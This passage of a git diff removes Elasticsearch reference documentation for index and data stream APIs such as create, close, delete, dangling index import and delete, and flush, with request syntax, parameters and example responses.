-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings]
diff --git a/docs/reference/indices/close.asciidoc b/docs/reference/indices/close.asciidoc
deleted file mode 100644
index f008857d366..00000000000
--- a/docs/reference/indices/close.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[indices-close]]
-=== Close index API
-++++
-<titleabbrev>Close index</titleabbrev>
-++++
-
-Closes an index.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_close
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[close-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_close`
-
-
-[[close-index-api-desc]]
-==== {api-description-title}
-
-You use the close index API to close open indices.
-
-include::{es-repo-dir}/indices/open-close.asciidoc[tag=closed-index]
-
-
-[[close-index-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-+
-To close all indices, use `_all` or `*`.
-To disallow the closing of indices with `_all` or wildcard expressions,
-change the `action.destructive_requires_name` cluster setting to `true`.
-You can update this setting in the `elasticsearch.yml` file
-or using the <<cluster-update-settings,cluster update settings>> API.
-
-
-[[close-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[close-index-api-example]]
-==== {api-examples-title}
-
-The following example shows how to close an index:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_close
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-The API returns following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true,
-  "shards_acknowledged": true,
-  "indices": {
-    "my-index-000001": {
-      "closed": true
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/indices/create-data-stream.asciidoc b/docs/reference/indices/create-data-stream.asciidoc
deleted file mode 100644
index 57322f4061c..00000000000
--- a/docs/reference/indices/create-data-stream.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[role="xpack"]
-[[indices-create-data-stream]]
-=== Create data stream API
-++++
-<titleabbrev>Create data stream</titleabbrev>
-++++
-
-Creates a new <<data-streams,data stream>>.
-
-Data streams require a matching <<index-templates,index template>>.
-See <<set-up-a-data-stream>>.
-
-////
-[source,console]
-----
-PUT /_index_template/template
-{
-  "index_patterns": ["my-data-stream*"],
-  "data_stream": { }
-}
-----
-////
-
-[source,console]
-----
-PUT /_data_stream/my-data-stream
-----
-// TEST[continued]
-
-////
-[source,console]
------------------------------------
-DELETE /_data_stream/my-data-stream
-DELETE /_index_template/template
------------------------------------
-// TEST[continued]
-////
-
-[[indices-create-data-stream-request]]
-==== {api-request-title}
-
-`PUT /_data_stream/<data-stream>`
-
-[[indices-create-data-stream-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `create_index`
-or `manage` <<privileges-list-indices,index privilege>> for the data stream.
-
-[[indices-create-data-stream-api-path-params]]
-==== {api-path-parms-title}
-
-`<data-stream>`::
-+
---
-(Required, string) Name of the data stream to create.
-
-Data stream names must meet the following criteria:
-
-- Lowercase only
-- Cannot include `\`, `/`, `*`, `?`, `"`, `<`, `>`, `|`, ` ` (space character),
-`,`, `#`, `:`
-- Cannot start with `-`, `_`, `+`, `.`
-- Cannot be `.` or `..`
-- Cannot be longer than 255 bytes (note it is bytes, so multi-byte characters
-will count towards the 255 limit faster)
---
-
diff --git a/docs/reference/indices/create-index.asciidoc b/docs/reference/indices/create-index.asciidoc
deleted file mode 100644
index 90bd8f7ce69..00000000000
--- a/docs/reference/indices/create-index.asciidoc
+++ /dev/null
@@ -1,215 +0,0 @@
-[[indices-create-index]]
-=== Create index API
-++++
-<titleabbrev>Create index</titleabbrev>
-++++
-
-Creates a new index.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
---------------------------------------------------
-
-
-[[indices-create-api-request]]
-==== {api-request-title}
-
-`PUT /<index>`
-
-[[indices-create-api-desc]]
-==== {api-description-title}
-You can use the create index API to add a new index to an {es} cluster. When
-creating an index, you can specify the following:
-
-* Settings for the index
-* Mappings for fields in the index
-* Index aliases
-
-
-[[indices-create-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-+
---
-(Required, string) Name of the index you wish to create.
-
-// tag::index-name-reqs[]
-Index names must meet the following criteria:
-
-- Lowercase only
-- Cannot include `\`, `/`, `*`, `?`, `"`, `<`, `>`, `|`, ` ` (space character), `,`, `#`
-- Indices prior to 7.0 could contain a colon (`:`), but that's been deprecated and won't be supported in 7.0+
-- Cannot start with `-`, `_`, `+`
-- Cannot be `.` or `..`
-- Cannot be longer than 255 bytes (note it is bytes, so multi-byte characters will count towards the 255 limit faster)
-- Names starting with `.` are deprecated, except for <<index-hidden,hidden indices>> and internal indices managed by plugins
-// end::index-name-reqs[]
---
-
-
-[[indices-create-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-type-name]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[indices-create-api-request-body]]
-==== {api-request-body-title}
-
-`aliases`::
-(Optional, <<indices-aliases,alias object>>) Index aliases which include the
-index. See <<indices-aliases>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings]
-
-[[indices-create-api-example]]
-==== {api-examples-title}
-
-[[create-index-settings]]
-===== Index settings
-
-Each index created can have specific settings
-associated with it, defined in the body:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index": {
-      "number_of_shards": 3,  <1>
-      "number_of_replicas": 2 <2>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Default for `number_of_shards` is 1
-<2> Default for `number_of_replicas` is 1 (ie one replica for each primary shard)
-
-or more simplified
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "number_of_shards": 3,
-    "number_of_replicas": 2
-  }
-}
---------------------------------------------------
-
-[NOTE]
-You do not have to explicitly specify `index` section inside the
-`settings` section.
-
-For more information regarding all the different index level settings
-that can be set when creating an index, please check the
-<<index-modules,index modules>> section.
-
-[[mappings]]
-===== Mappings
-
-The create index API allows for providing a mapping definition:
-
-[source,console]
---------------------------------------------------
-PUT /test
-{
-  "settings": {
-    "number_of_shards": 1
-  },
-  "mappings": {
-    "properties": {
-      "field1": { "type": "text" }
-    }
-  }
-}
---------------------------------------------------
-
-NOTE: Before 7.0.0, the 'mappings' definition used to include a type name. Although specifying
-types in requests is now deprecated, a type can still be provided if the request parameter
-include_type_name is set. For more details, please see <<removal-of-types>>.
-
-[[create-index-aliases]]
-===== Aliases
-
-The create index API allows also to provide a set of <<indices-aliases,aliases>>:
-
-[source,console]
---------------------------------------------------
-PUT /test
-{
-  "aliases": {
-    "alias_1": {},
-    "alias_2": {
-      "filter": {
-        "term": { "user.id": "kimchy" }
-      },
-      "routing": "shard-1"
-    }
-  }
-}
---------------------------------------------------
-
-[[create-index-wait-for-active-shards]]
-===== Wait for active shards
-
-By default, index creation will only return a response to the client when the primary copies of
-each shard have been started, or the request times out. The index creation response will indicate
-what happened:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true,
-  "shards_acknowledged": true,
-  "index": "test"
-}
---------------------------------------------------
-
-`acknowledged` indicates whether the index was successfully created in the cluster, while
-`shards_acknowledged` indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out. Note that it is still possible for either
-`acknowledged` or `shards_acknowledged` to be `false`, but the index creation was successful.
-These values simply indicate whether the operation completed before the timeout. If
-`acknowledged` is `false`, then we timed out before the cluster state was updated with the
-newly created index, but it probably will be created sometime soon. If `shards_acknowledged`
-is `false`, then we timed out before the requisite number of shards were started (by default
-just the primaries), even if the cluster state was successfully updated to reflect the newly
-created index (i.e. `acknowledged=true`).
-
-We can change the default of only waiting for the primary shards to start through the index
-setting `index.write.wait_for_active_shards` (note that changing this setting will also affect
-the `wait_for_active_shards` value on all subsequent write operations):
-
-[source,console]
---------------------------------------------------
-PUT /test
-{
-  "settings": {
-    "index.write.wait_for_active_shards": "2"
-  }
-}
---------------------------------------------------
-// TEST[skip:requires two nodes]
-
-or through the request parameter `wait_for_active_shards`:
-
-[source,console]
---------------------------------------------------
-PUT /test?wait_for_active_shards=2
---------------------------------------------------
-// TEST[skip:requires two nodes]
-
-A detailed explanation of `wait_for_active_shards` and its possible values can be found
-<<index-wait-for-active-shards,here>>.
diff --git a/docs/reference/indices/dangling-index-delete.asciidoc b/docs/reference/indices/dangling-index-delete.asciidoc
deleted file mode 100644
index 59d4d62bfb4..00000000000
--- a/docs/reference/indices/dangling-index-delete.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[dangling-index-delete]]
-=== Delete dangling index API
-++++
-<titleabbrev>Delete dangling index</titleabbrev>
-++++
-
-Deletes a dangling index.
-
-[[dangling-index-delete-api-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-DELETE /_dangling/<index-uuid>?accept_data_loss=true
---------------------------------------------------
-// TEST[skip:Difficult to set up]
-
-[[dangling-index-delete-api-desc]]
-==== {api-description-title}
-
-include::{es-repo-dir}/indices/dangling-indices-list.asciidoc[tag=dangling-index-description]
-
-
-Deletes a dangling index by referencing its UUID. Use the
-<<dangling-indices-list,List dangling indices API>> to locate the UUID of an index.
-
-
-[[dangling-index-delete-api-path-params]]
-==== {api-path-parms-title}
-
-`<index-uuid>`::
-(Required, string)
-UUID of the index to delete. You can find this using the
-<<dangling-indices-list,List dangling indices API>>.
-
-[[dangling-index-delete-api-query-params]]
-==== {api-query-parms-title}
-
-`accept_data_loss`::
-(Optional, Boolean)
-This field must be set to `true` in order to carry out the import, since it will
-no longer be possible to recover the data from the dangling index.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/dangling-index-import.asciidoc b/docs/reference/indices/dangling-index-import.asciidoc
deleted file mode 100644
index 11ab92b4152..00000000000
--- a/docs/reference/indices/dangling-index-import.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[[dangling-index-import]]
-=== Import dangling index API
-++++
-<titleabbrev>Import dangling index</titleabbrev>
-++++
-
-Imports a dangling index.
-
-[[dangling-index-import-api-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-POST /_dangling/<index-uuid>?accept_data_loss=true
---------------------------------------------------
-// TEST[skip:Difficult to set up]
-
-[[dangling-index-import-api-desc]]
-==== {api-description-title}
-
-include::{es-repo-dir}/indices/dangling-indices-list.asciidoc[tag=dangling-index-description]
-
-Import a single index into the cluster by referencing its UUID. Use the
-<<dangling-indices-list,List dangling indices API>> to locate the UUID of an index.
-
-
-[[dangling-index-import-api-path-params]]
-==== {api-path-parms-title}
-
-`<index-uuid>`::
-(Required, string)
-UUID of the index to import, which you can find using the
-<<dangling-indices-list,List dangling indices API>>.
-
-[[dangling-index-import-api-query-params]]
-==== {api-query-parms-title}
-
-`accept_data_loss`::
-(Required, Boolean)
-This field must be set to `true` to import a dangling index. Because {es}
-cannot know where the dangling index data came from or determine which shard
-copies are fresh and which are stale, it cannot guarantee that the imported data
-represents the latest state of the index when it was last in the cluster.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[[dangling-index-import-api-example]]
-==== {api-examples-title}
-
-The following example shows how to import a dangling index:
-
-[source,console]
---------------------------------------------------
-POST /_dangling/zmM4e0JtBkeUjiHD-MihPQ?accept_data_loss=true
---------------------------------------------------
-// TEST[skip:Difficult to set up]
-
-The API returns following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/indices/dangling-indices-list.asciidoc b/docs/reference/indices/dangling-indices-list.asciidoc
deleted file mode 100644
index 863a4d8ac7f..00000000000
--- a/docs/reference/indices/dangling-indices-list.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[dangling-indices-list]]
-=== List dangling indices API
-++++
-<titleabbrev>List dangling indices</titleabbrev>
-++++
-
-Lists dangling indices.
-
-[[dangling-indices-list-api-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-GET /_dangling
---------------------------------------------------
-// TEST[skip:TBD]
-
-[[dangling-indices-list-api-desc]]
-==== {api-description-title}
-
-// tag::dangling-index-description[]
-If {es} encounters index data that is absent from the current cluster
-state, those indices are considered to be dangling. For example,
-this can happen if you delete more than
-`cluster.indices.tombstones.size` indices while an {es} node is offline.
-// end::dangling-index-description[]
-
-Use this API to list dangling indices, which you can then
-<<dangling-index-import,import>> or <<dangling-index-delete,delete>>.
-
-
-[[dangling-indices-list-api-example]]
-==== {api-examples-title}
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "dangling_indices": [
-   {
-    "index_name": "my-index-000001",
-    "index_uuid": "zmM4e0JtBkeUjiHD-MihPQ",
-    "creation_date_millis": 1589414451372,
-    "node_ids": [
-      "pL47UN3dAb2d5RCWP6lQ3e"
-    ]
-   }
-  ]
-}
---------------------------------------------------
diff --git a/docs/reference/indices/data-stream-stats.asciidoc b/docs/reference/indices/data-stream-stats.asciidoc
deleted file mode 100644
index 42e6b561707..00000000000
--- a/docs/reference/indices/data-stream-stats.asciidoc
+++ /dev/null
@@ -1,214 +0,0 @@
-[role="xpack"]
-[[data-stream-stats-api]]
-=== Data stream stats API
-++++
-<titleabbrev>Data stream stats</titleabbrev>
-++++
-
-Retrieves statistics for one or more <<data-streams,data streams>>.
-
-////
-[source,console]
-----
-PUT /_index_template/template
-{
-  "index_patterns": ["my-data-stream*"],
-  "data_stream": { }
-}
-
-PUT /my-data-stream/_bulk?refresh
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:04:05.000Z" }
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:06:07.000Z" }
-{"create":{ }}
-{ "@timestamp": "2020-12-09T11:07:08.000Z" }
-
-POST /my-data-stream/_rollover/
-POST /my-data-stream/_rollover/
-
-PUT /my-data-stream-two/_bulk?refresh
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:04:05.000Z" }
-{"create":{ }}
-{ "@timestamp": "2020-12-08T11:06:07.000Z" }
-
-POST /my-data-stream-two/_rollover/
-----
-// TESTSETUP
-////
-
-////
-[source,console]
-----
-DELETE /_data_stream/*
-DELETE /_index_template/*
-----
-// TEARDOWN
-////
-
-[source,console]
-----
-GET /_data_stream/my-data-stream/_stats
-----
-
-[[data-stream-stats-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`monitor` or `manage` <<privileges-list-indices,index privilege>>
-for the data stream.
-
-[[data-stream-stats-api-request]]
-==== {api-request-title}
-
-`GET /_data_stream/<data-stream>`
-
-
-[[data-stream-stats-api-path-params]]
-==== {api-path-parms-title}
-
-`<data-stream>`::
-(Optional, string)
-Comma-separated list of data streams used to limit the request. Wildcard
-expressions (`*`) are supported.
-+
-To target all data streams in a cluster, omit this parameter or use `*`.
-
-[[data-stream-stats-api-query-params]]
-==== {api-query-parms-title}
-
-`human`::
-(Optional, Boolean)
-If `true`, the response includes statistics in human-readable <<byte-units,byte
-values>>. Defaults to `false`.
-
-
-[role="child_attributes"]
-[[data-stream-stats-api-response-body]]
-==== {api-response-body-title}
-
-`_shards`::
-(object)
-Contains information about shards that attempted to execute the request.
-+
-.Properties of `_shards`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of shards that attempted to execute the request.
-
-`successful`::
-(integer)
-Number of shards that successfully executed the request.
-
-`failed`::
-(integer)
-Number of shards that failed to execute the request.
-====
-
-`data_stream_count`::
-(integer)
-Total number of selected data streams.
-
-`backing_indices`::
-(integer)
-Total number of backing indices for the selected data streams.
-
-`total_store_sizes`::
-(<<byte-units,byte value>>)
-Total size of all shards for the selected data streams.
-This property is included only if the `human` query parameter is `true`.
-
-`total_store_size_bytes`::
-(integer)
-Total size, in bytes, of all shards for the selected data streams.
-
-`data_streams`::
-(array of objects)
-Contains statistics for the selected data streams.
-+
-.Properties of objects in `data_streams`
-[%collapsible%open]
-====
-`data_stream`::
-(string)
-Name of the data stream.
-
-`backing_indices`::
-(integer)
-Current number of backing indices for the data stream.
-
-`store_size`::
-(<<byte-units,byte value>>)
-Total size of all shards for the data stream's backing indices.
-This parameter is only returned if the `human` query parameter is `true`.
-
-`store_size_bytes`::
-(integer)
-Total size, in bytes, of all shards for the data stream's backing indices.
-
-`maximum_timestamp`::
-(integer)
-The data stream's highest `@timestamp` value, converted to milliseconds since
-the {wikipedia}/Unix_time[Unix epoch].
-+
-[NOTE]
-=====
-This timestamp is provided as a best effort. The data stream may contain
-`@timestamp` values higher than this if one or more of the following conditions
-are met:
-
-* The stream contains <<indices-open-close,closed>> backing indices.
-* Backing indices with a <<data-streams-generation,lower generation>> contain
-higher `@timestamp` values.
-=====
-====
-
-[[data-stream-stats-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET /_data_stream/my-data-stream*/_stats?human=true
-----
-
-The API returns the following response.
-
-[source,console-result]
-----
-{
-  "_shards": {
-    "total": 10,
-    "successful": 5,
-    "failed": 0
-  },
-  "data_stream_count": 2,
-  "backing_indices": 5,
-  "total_store_size": "7kb",
-  "total_store_size_bytes": 7268,
-  "data_streams": [
-    {
-      "data_stream": "my-data-stream",
-      "backing_indices": 3,
-      "store_size": "3.7kb",
-      "store_size_bytes": 3772,
-      "maximum_timestamp": 1607512028000
-    },
-    {
-      "data_stream": "my-data-stream-two",
-      "backing_indices": 2,
-      "store_size": "3.4kb",
-      "store_size_bytes": 3496,
-      "maximum_timestamp": 1607425567000
-    }
-  ]
-}
-----
-// TESTRESPONSE[s/"total_store_size": "7kb"/"total_store_size": $body.total_store_size/]
-// TESTRESPONSE[s/"total_store_size_bytes": 7268/"total_store_size_bytes": $body.total_store_size_bytes/]
-// TESTRESPONSE[s/"store_size": "3.7kb"/"store_size": $body.data_streams.0.store_size/]
-// TESTRESPONSE[s/"store_size_bytes": 3772/"store_size_bytes": $body.data_streams.0.store_size_bytes/]
-// TESTRESPONSE[s/"store_size": "3.4kb"/"store_size": $body.data_streams.1.store_size/]
-// TESTRESPONSE[s/"store_size_bytes": 3496/"store_size_bytes": $body.data_streams.1.store_size_bytes/]
\ No newline at end of file
diff --git a/docs/reference/indices/delete-alias.asciidoc b/docs/reference/indices/delete-alias.asciidoc
deleted file mode 100644
index 817bd95a103..00000000000
--- a/docs/reference/indices/delete-alias.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[[indices-delete-alias]]
-=== Delete index alias API
-++++
-<titleabbrev>Delete index alias</titleabbrev>
-++++
-
-Deletes an existing index alias.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc]
-
-[source,console]
-----
-DELETE /my-index-000001/_alias/alias1
-----
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000001\/_alias\/alias1\n/]
-
-[[delete-alias-api-request]]
-==== {api-request-title}
-
-`DELETE /<index>/_alias/<alias>`
-
-`DELETE /<index>/_aliases/<alias>`
-
-
-[[delete-alias-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Comma-separated list or wildcard expression of index names
-used to limit the request.
-+
-To include all indices in the cluster,
-use a value of `_all` or `*`.
-
-`<alias>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias]
-+
-To delete all aliases,
-use a value of `_all` or `*`.
-
-
-[[delete-alias-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/delete-component-template.asciidoc b/docs/reference/indices/delete-component-template.asciidoc
deleted file mode 100644
index e559ddc3911..00000000000
--- a/docs/reference/indices/delete-component-template.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[[indices-delete-component-template]]
-=== Delete component template API
-++++
-<titleabbrev>Delete component template</titleabbrev>
-++++
-
-Deletes an existing component template.
-
-////
-[source,console]
---------------------------------------------------
-PUT _component_template/template_1
-{
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 0
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-////
-
-[source,console]
---------------------------------------------------
-DELETE _component_template/template_1
---------------------------------------------------
-
-
-[[delete-component-template-api-request]]
-==== {api-request-title}
-
-`DELETE /_component_template/<component-template>`
-
-
-[[delete-component-template-api-desc]]
-==== {api-description-title}
-
-Use the delete component template API to delete one or more component templates
-Component templates are building blocks for constructing <<index-templates,index templates>>  
-that specify index mappings, settings, and aliases. 
-
-[[delete-component-template-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=component-template]
-
-
-[[delete-component-template-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/delete-data-stream.asciidoc b/docs/reference/indices/delete-data-stream.asciidoc
deleted file mode 100644
index d2e1f7401c0..00000000000
--- a/docs/reference/indices/delete-data-stream.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[[indices-delete-data-stream]]
-=== Delete data stream API
-++++
-<titleabbrev>Delete data stream</titleabbrev>
-++++
-
-Deletes one or more <<data-streams,data streams>> and their backing
-indices. See <<delete-a-data-stream>>.
-
-////
-[source,console]
-----
-PUT /_index_template/template
-{
-  "index_patterns": ["my-data-stream*"],
-  "data_stream": { }
-}
-
-PUT /_data_stream/my-data-stream
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-DELETE /_data_stream/my-data-stream
-----
-
-////
-[source,console]
-----
-DELETE /_index_template/template
-----
-// TEST[continued]
-////
-
-[[delete-data-stream-api-request]]
-==== {api-request-title}
-
-`DELETE /_data_stream/<data-stream>`
-
-[[delete-data-stream-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `delete_index`
-or `manage` <<privileges-list-indices,index privilege>> for the data stream.
-
-
-[[delete-data-stream-api-path-params]]
-==== {api-path-parms-title}
-
-`<data-stream>`::
-(Required, string)
-Comma-separated list of data streams to delete.
-Wildcard (`*`) expressions are supported.
diff --git a/docs/reference/indices/delete-index-template-v1.asciidoc b/docs/reference/indices/delete-index-template-v1.asciidoc
deleted file mode 100644
index 3ad0a0e347c..00000000000
--- a/docs/reference/indices/delete-index-template-v1.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[[indices-delete-template-v1]]
-=== Delete index template API
-++++
-<titleabbrev>Delete index template (legacy)</titleabbrev>
-++++
-
-IMPORTANT: This documentation is about <<indices-templates-v1,legacy index
-templates>>, which are deprecated and will be replaced by the composable
-templates introduced in {es} 7.8. For information about composable templates,
-see <<index-templates>>.
-
-Deletes a legacy index template.
-
-////
-[source,console]
---------------------------------------------------
-PUT _template/my-legacy-index-template
-{
- "index_patterns" : ["te*"],
-  "settings": {
-    "number_of_shards": 1
-  }
-}
---------------------------------------------------
-// TESTSETUP
-////
-
-[source,console]
---------------------------------------------------
-DELETE /_template/my-legacy-index-template
---------------------------------------------------
-
-
-[[delete-template-api-v1-request]]
-==== {api-request-title}
-
-`DELETE /_template/<legacy-index-template>`
-
-
-[[delete-template-api-v1-path-params]]
-==== {api-path-parms-title}
-
-`<legacy-index-template>`::
-(Required, string)
-Comma-separated list of legacy index templates to delete. Wildcard (`*`)
-expressions are supported.
-
-
-[[delete-template-api-v1-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/delete-index-template.asciidoc b/docs/reference/indices/delete-index-template.asciidoc
deleted file mode 100644
index 65516d828bb..00000000000
--- a/docs/reference/indices/delete-index-template.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[[indices-delete-template]]
-=== Delete index template API
-++++
-<titleabbrev>Delete index template</titleabbrev>
-++++
-
-Deletes an <<index-templates,index template>>.
-
-////
-[source,console]
-----
-PUT /_index_template/my-index-template
-{
- "index_patterns" : ["te*"],
- "template": {
-     "settings": {
-    "number_of_shards": 1
-  }
- }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-DELETE /_index_template/my-index-template
-----
-
-
-[[delete-template-api-request]]
-==== {api-request-title}
-
-`DELETE /_index_template/<index-template>`
-
-
-[[delete-template-api-desc]]
-==== {api-description-title}
-
-Use the delete index template API to delete one or more index templates.
-Index templates define <<index-modules-settings,settings>>, <<mapping,mappings>>, 
-and <<indices-aliases,aliases>> that can be applied automatically to new indices. 
-
-
-[[delete-template-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-template]
-
-
-[[delete-template-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/delete-index.asciidoc b/docs/reference/indices/delete-index.asciidoc
deleted file mode 100644
index 19112da63d9..00000000000
--- a/docs/reference/indices/delete-index.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[indices-delete-index]]
-=== Delete index API
-++++
-<titleabbrev>Delete index</titleabbrev>
-++++
-
-Deletes an existing index.
-
-[source,console]
---------------------------------------------------
-DELETE /my-index-000001
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[delete-index-api-request]]
-==== {api-request-title}
-
-`DELETE /<index>`
-
-
-[[delete-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-+
---
-(Request, string) Comma-separated list or wildcard expression of indices to
-delete.
-
-In this parameter, wildcard expressions match only open, concrete indices. You
-cannot delete an index using an <<indices-aliases,alias>>.
-
-To delete all indices, use `_all` or `*` . To disallow the deletion of indices
-with `_all` or wildcard expressions, change the
-`action.destructive_requires_name` cluster setting to `true`. You can update
-this setting in the `elasticsearch.yml` file or using the
-<<cluster-update-settings,cluster update settings>> API.
-
-NOTE: You cannot delete the current write index of a data stream. To delete the
-index, you must <<rollover-data-stream-ex,roll over>> the data stream so a new
-write index is created. You can then use the delete index API to delete the
-previous write index.
---
-
-
-[[delete-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
diff --git a/docs/reference/indices/flush.asciidoc b/docs/reference/indices/flush.asciidoc
deleted file mode 100644
index 9601476412b..00000000000
--- a/docs/reference/indices/flush.asciidoc
+++ /dev/null
@@ -1,142 +0,0 @@
-[[indices-flush]]
-=== Flush API
-++++
-<titleabbrev>Flush</titleabbrev>
-++++
-
-Flushes one or more data streams or indices.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_flush
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[flush-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_flush`
-
-`GET /<target>/_flush`
-
-`POST /_flush`
-
-`GET /_flush`
-
-
-[[flush-api-desc]]
-==== {api-description-title}
-
-Flushing a data stream or index is the process of making sure that any data that is currently
-only stored in the <<index-modules-translog,transaction log>> is also
-permanently stored in the Lucene index. When restarting, {es} replays any
-unflushed operations from the transaction log into the Lucene index to bring it
-back into the state that it was in before the restart. {es} automatically
-triggers flushes as needed, using heuristics that trade off the size of the
-unflushed transaction log against the cost of performing each flush.
-
-Once each operation has been flushed it is permanently stored in the Lucene
-index. This may mean that there is no need to maintain an additional copy of it
-in the transaction log, unless <<index-modules-translog-retention,it is retained
-for some other reason>>. The transaction log is made up of multiple files,
-called _generations_, and {es} will delete any generation files once they are no
-longer needed, freeing up disk space.
-
-It is also possible to trigger a flush on one or more indices using the flush
-API, although it is rare for users to need to call this API directly. If you
-call the flush API after indexing some documents then a successful response
-indicates that {es} has flushed all the documents that were indexed before the
-flush API was called.
-
-
-[[flush-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to flush.
-Wildcard expressions (`*`) are supported.
-+
-To flush all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[flush-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`force`::
-+
---
-(Optional, Boolean)
-If `true`,
-the request forces a flush
-even if there are no changes to commit to the index.
-Defaults to `true`.
-
-You can use this parameter
-to increment the generation number of the transaction log.
-
-This parameter is considered internal.
---
-
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`wait_if_ongoing`::
-+
---
-(Optional, Boolean)
-If `true`,
-the flush operation blocks until execution
-when another flush operation is running.
-
-
-If `false`,
-{es} returns an error
